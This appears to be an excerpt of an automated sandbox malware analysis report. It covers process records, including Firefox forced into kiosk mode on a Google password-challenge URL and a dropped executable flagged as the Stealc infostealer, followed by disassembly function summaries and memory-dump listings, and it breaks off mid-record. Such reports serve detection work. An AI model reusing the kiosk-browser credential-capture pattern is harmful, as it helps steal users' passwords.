Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:09:56
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	21:09:56
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:09:56
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	21:09:57
Start date:	30/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	21:09:58
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2204 -parentBuildID 20230927232528 -prefsHandle 2140 -prefMapHandle 2132 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d8927e0-9a24-4aca-bba3-0a7c28f42790} 1876 "\\.\pipe\gecko-crash-server-pipe.1876" 1fc1dd6cb10 socket
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	21:09:58
Start date:	30/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe"
Imagebase:	0xca0000
File size:	2'133'504 bytes
MD5 hash:	7FD1B88D3618D5BA66748524407B39CA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000002.3311731465.000000000157B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000003.3274962236.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000029.00000002.3306253227.0000000000CA1000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	21:10:02
Start date:	30/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4180 -parentBuildID 20230927232528 -prefsHandle 4028 -prefMapHandle 2872 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {35958533-be16-4379-b7b3-a0e46a52ccf6} 1876 "\\.\pipe\gecko-crash-server-pipe.1876" 1fc2ea51b10 rdd
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	36%
Signature Coverage:	8%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 0094504A Relevance: 1.6, APIs: 1, Instructions: 134
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0094504A

Memory Dump Source

Source File: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9101d5845a0daacb4cdb6f954c42ca70b12b12e061d9677d39d86cd9c79d4e2f
Instruction ID: 8c7f4f8b25dd99e089d672cbe4324288636d580e5a1cb984aa4ef5853fc1ec76
Opcode Fuzzy Hash: 9101d5845a0daacb4cdb6f954c42ca70b12b12e061d9677d39d86cd9c79d4e2f
Instruction Fuzzy Hash: 0941A0B650C610EFE306AB59DD41ABEF7E9EF94720F26482EE6C583201D33458548AA7

Function 007BB9D1 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b161e58b6ac3054c9a8f7eb25646c6c860f99ac5b9317538131d3bf9fe96ef68
Instruction ID: cfc0218f16d35b7fd966819533d61629ff57cad33ff630b24eb38666c90c61fa
Opcode Fuzzy Hash: b161e58b6ac3054c9a8f7eb25646c6c860f99ac5b9317538131d3bf9fe96ef68
Instruction Fuzzy Hash: AA210773C045618BD7295E288D513EAB660EF44710F2A8675DD9AA7799D3EC6C8083C4

Function 00952D27 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00952D6B
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00952D92
GetNativeSystemInfo.KERNELBASE(?), ref: 00952DE9

Strings

|6o4, xrefs: 00955CC1

Memory Dump Source

Source File: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID: |6o4
API String ID: 1247124224-3818576583
Opcode ID: 3defa16945b209e48f93b126bd8d69fad7c4096448b7b7b9d5f962b83b257d02
Instruction ID: aa23e1afad20b90aa2461cadcc7a3dc1ba3455279b1941336de0ffa6418e34f1
Opcode Fuzzy Hash: 3defa16945b209e48f93b126bd8d69fad7c4096448b7b7b9d5f962b83b257d02
Instruction Fuzzy Hash: 37414C7100820E9FEB14DF65C859BAE7BB8FF15306F00092AED8286941E7755CA8DF1A

Function 0094520F Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0094520F

Memory Dump Source

Source File: 00000003.00000002.2410933190.0000000000945000.00000080.00000001.01000000.00000006.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000003.00000002.2408595400.00000000007B0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2408926793.00000000007B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409081432.00000000007B6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409406553.00000000007BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409462258.00000000007C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2409487902.00000000007C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410743834.00000000007C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410855615.0000000000926000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410877647.0000000000928000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410906590.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.0000000000946000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2410960607.000000000094F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411012535.000000000096B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411034512.000000000096C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411064557.000000000097F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411087469.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411106390.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411124939.0000000000982000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411146041.0000000000989000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411167138.0000000000996000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411188270.00000000009A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411207774.00000000009A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411229414.00000000009B5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411247659.00000000009B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411266748.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411284887.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411306697.00000000009C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411327860.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411348270.00000000009D3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411368302.00000000009D6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411389069.00000000009DE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411409589.00000000009E0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411430277.00000000009E1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411449226.00000000009E3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411470923.00000000009EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411491040.00000000009EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411511288.00000000009F3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411531192.00000000009F5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411551206.00000000009FD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411569752.00000000009FF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411590357.0000000000A0D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411611991.0000000000A11000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411632355.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411652437.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A5E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411686202.0000000000A65000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411727617.0000000000A74000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2411746101.0000000000A76000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7b0000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4431c0073514aa80de05956fd66efbba56377532c85c8b7afd0cba13651faf80
Instruction ID: a07d389ea50c80d6cb82804cfa523fd585ca414d871966f28297843940d9b852
Opcode Fuzzy Hash: 4431c0073514aa80de05956fd66efbba56377532c85c8b7afd0cba13651faf80
Instruction Fuzzy Hash: D83137F150C610AFE706AF49E881A7DFBE9EF94350F124C2DE6C582610D7344880DB9B

Function 04D00D47 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04D00DCD

Memory Dump Source

Source File: 00000003.00000002.2414169580.0000000004D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d00000_RYM16770HTK1NZSZ1PW5P28.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 2d635e66fb8bcef2be17ab3ab19f920f28c10f4990f745cdcef1a04f09c10a4d
Instruction ID: 148ebf7cf4b2f839f90e62df80a4387ea8b135c111dde16586b1e7c29a522b53
Opcode Fuzzy Hash: 2d635e66fb8bcef2be17ab3ab19f920f28c10f4990f745cdcef1a04f09c10a4d
Instruction Fuzzy Hash: C02113B6C012199FCB50DF99E884BDEFBB4FB88310F14852AD908AB244D774A545CBA5

Function 04D00D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

